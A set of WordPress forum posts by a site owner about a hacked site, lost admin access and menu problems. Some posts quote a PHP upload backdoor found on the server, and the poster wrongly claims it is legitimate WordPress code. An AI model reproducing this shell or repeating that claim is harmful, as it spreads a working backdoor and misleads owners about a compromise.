Peter Simmons

I don’t know that it did come back. The edited file wasn’t changed back to what it had been [I checked], but the ISP has sent another warning. Most of my problem has been lack of communication from ISP, but I’m changing that.

Your site is hacked. Please follow my advice above.

So deleting all files on the remote server and re uploading the backed up files doesn’t solve it?

Although, on second thoughts, the themes folder must need something in this surely? Does the latest version not have that /tinymce/themes/ ?
I really haven’t a clue how WP works and wouldn’t understand any of those links given, though thank you for helping. I really wasn’t being personal, I actually thought this was where people knew how it worked and could advise. Perhaps my fault for not making clear what I was asking.

I’ve just updated WP to latest version, and looking at the remote server files in ftp it’s there still in the same directory and with the text it had before, ie.
<?php if ($_FILES[‘F1l3’]) {move_uploaded_file($_FILES[‘F1l3’][‘tmp_name’], $_POST[‘Name’]); echo ‘OK’; Exit;}

Previously I deleted the text completely and it semmed to make no difference to the site running. I just got another automatic message from the ISP that it’s again ‘compromised’ but not details of how.
As you say it doesn’t exsist in the latest version, that might mean it’s still there because nothing overwrote it? So perhaps I should delete the folder and see if that does it?

My question IS about the application, my ISP, Fasthosts, is useless and can’t communicate properly or I would have solved it.
The line they say is a trojan, <?php if ($_FILES[‘F1l3’]) {move_uploaded_file($_FILES[‘F1l3’][‘tmp_name’], $_POST[‘Name’]); echo ‘OK’; } else { echo ‘You are forbidden!’; } ?> , is, according to everything I can google, a WordPress file which opens the program and has this line in it. Nowehere is it described as malicious, but a standard PHP code for moving files, and only allowing them to be moved/uploaded by PHP. How can anyone think it a trojan? See this: https://php.net/manual/en/function.move-uploaded-file.php
I don’t want ‘support’ merely an answer from someone who understands PHP and can tell me if this is correct code or a trojan.
Funnily, I thought this would be the place for WordPress experts.

I know the root, it’s /htdocs/ I don’t understand what you’re saying. Did you understand that the problem is that I can’t log in, at https://www.edinburghinnwells.co.uk/wp-admin it just says You must log in to access the admin area, but with no means of doing so.
Can I upload all the files again, and would this help to gain access?

On top of all this hassle, I got an email from WP telling me it had updted the site to the latest version! I still can’t log in.

I have a file in the htdocs/ folder that might be connected to this issue, it’s .ht88yspv.appconfig.php or is that just setting a database password? I may have follow directions and put some kind of security on over a year ago, and forgotten since, my memory being faulty. How would I find out?

I’ve saved it to my desktop, but how do I get it uploaded here?

OK, I have the ftp login and set it up in Dreamweaver, connects fine on the test server, accepts password, then when I close the setup window, it goes off to gather all the site files, and crashes Dreamweaver. Did it three times. I have now connected with Filezilla, and copied the .htaccess file to my hard drive, overwriting what was there [original install files]. In a text editor it looks like this

# BEGIN WordPress

# END WordPress

only there’s a small square in front of first # and two before end #, and again one after last word, but these disappear when I paste it here.

There’s not a wp-admin file in the root, but there is a wp-login and I’ve copied that to hard disc and could paste it if it would help. If I enter it at the prompt though, it gives a 404, yet it is there.

Peter

This is where it gets difficult. I’ve killed a computer since I uploaded the site files, and no longer have the ftp setup, so can only access it via wp-admin, except I can’t! I guess I’m going to have to find out the ftp login again?
Peter

I also get You must log in to access the admin area. if I try https://www.edinburghinnwells.co.uk/wp-admin/

Peter

I’m getting this message immediately after getting an email from WordPress telling me my version of WP had been automatically updated to 3.9.2. I thought I had to update versions of WP myself, why is someone at WP doing this? The site works, but I can’t now log in as admin, and I need to do that. This was caused by someone else and someone should sort it out.

I could use help still in solving the landing page problem. I had created the same page twice after feeling my way installing the theme, and just deleted one of them, at which point the label/link on the navbar disappeared [it said Home] and now I can’t get it back. Since the page that appeared [the undeleted one] was nested inside a category [don’t ask, I was stumbling around, crazy] and since it didn’t cause the Home button to appear, I just deleted that too as it didn’t need to be in there. So now I get an error message it can’t be found. But how to recreate it and make it the landing page so that the menu item Home reappears??????

Well I ignored all including my inability to understand anything, not being a coder … deactivated all other plugins and tried again and it activated faultlessly!

Perhaps a warning in bold to deactivate all plugins before activating Jetpack would be a good bit of advice.

I have no idea what you mean. I’m using Twenty Eleven already, extra data being added? I don’t understand. I’m still trying to build the site, but things keep happening and there’s never any clue as to why.
Now I’ve lost the Home button to take users back to the landing page and don’t know how to reinstate it.